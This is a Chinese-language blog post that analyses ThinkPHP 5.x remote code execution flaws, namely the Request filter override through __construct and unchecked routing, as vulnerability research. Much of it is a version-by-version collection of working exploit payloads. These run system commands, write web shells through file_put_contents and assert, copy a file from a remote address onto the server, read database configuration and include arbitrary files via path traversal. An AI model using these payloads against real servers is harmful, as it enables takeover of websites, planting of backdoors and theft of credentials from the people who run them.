ThinkPHP v5 RCE漏洞分析与收集

前言

具体分析 ThinkPHPv5 RCE改造 | Y0ng的博客 (yongsheng.site)

Thinkphp5 rce分两个大版本

  1. ThinkPHP 5.0-5.0.24
  2. ThinkPHP 5.1.0-5.1.30

方法主要分为两种

1.Request中的filter变量覆盖导致RCE 分开启debug和不开启debug 两种情况

2.路由控制不严谨导致的RCE

先分析第一种rce 即 method __contruct导致的rce

这里用5.0.5分析

复现

poc

http://127.0.0.1/public/index.php/index/index/?s=index/index
POST:
s=whoami&_method=__construct&method=POST&filter[]=system

开启debug

application\config.php 中的app_debug = true

单入口文件

进入run() 方法

首先初始化$request 这个数组,self::initCommon();初始化公共配置。未设置调度信息则进行 URL 路由检测 self::routeCheck($request, $config) 默认进入。

跟进 routeCheck()

默认self::$routeCheck self::$routemust 为空,整体流程看图

跟进 Route::check

进入到Request.php中的method()方法中

首先进入elseif分支,接着 isset($_POST[Config::get('var_method')])var_method 默认为 _method

并执行 $this->{$this->method}($_POST) 语句。因此通过指定_method即可完成 对该类的任意方法的调用,其传入对应的参数即对应的$_POST数组。

这里利用的地方是 __construct()

所以当我们post传入
s=whoami&_method=__construct&method=POST&filter[]=system

_method触发__constructfilter覆盖参数为systemmethod覆盖为POST

然后一路返回到run()

因为此时开启debug,进入if 进入$request->param()

param()

进入input() 函数

array_walk_recursive()
对数组中的每个元素应用用户自定义函数,也就是说 调用filterValue()

未开启debug

5.0.x 跟 5.1.x 代码差异较大

所以payload 也不尽相同

参考 为例子

流程

$this->method 可控导致可以调用__contruct()覆盖Request类的filter字段,然后App::run() 执行判断debug来决定是否执行 $request->param(),并且还有$dispatch['type'] 等于controller或者 method 时会执行 $request->param(),而$request->param()会进入到 input() 方法,在这个方法中将被覆盖的filter回调call_user_func(),造成rce

收集

基于__construct的payload大部分出现在 5.0.x 及低版本的 5.1.x 中。

5.0&5.0.1-5.0.7

与debug无关

命令执行rce

POST 
?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=POST&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

写入木马getshell

s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.8-5.0.13

与debug无关

命令执行rce

POST
?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写入木马getshell

POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.14-5.0.23

默认debug=flase,需要开启debug才能命令执行。

POST
?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写入木马getshell

POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
#5.0.21以后
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('test.php','<?php phpinfo();')

有captcha路由时无需debug=true

POST 
?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.24

最后一个版本RCE被修复

未开启强制路由命令执行

[漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录

ThinkPHP漏洞分析

收集

命令执行

5.0.x

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.1.x

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/think\request/input?data[]=phpinfo()&filter=assert
?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('whoami'); ?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

写shell

5.0.x

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)

5.1.x

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?> //shell生成在runtime/temp/md5(template).php
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('远程地址','333.php')
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>

其他

5.0.x

?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件

参考

Thinkphp5 RCE总结

thinkphp5-rce-zong-jie

ThinkPHP5.x版本RCE漏洞分析与收集

ThinkPHP 漏洞分析总结

ThinkPHP5漏洞学习-RCE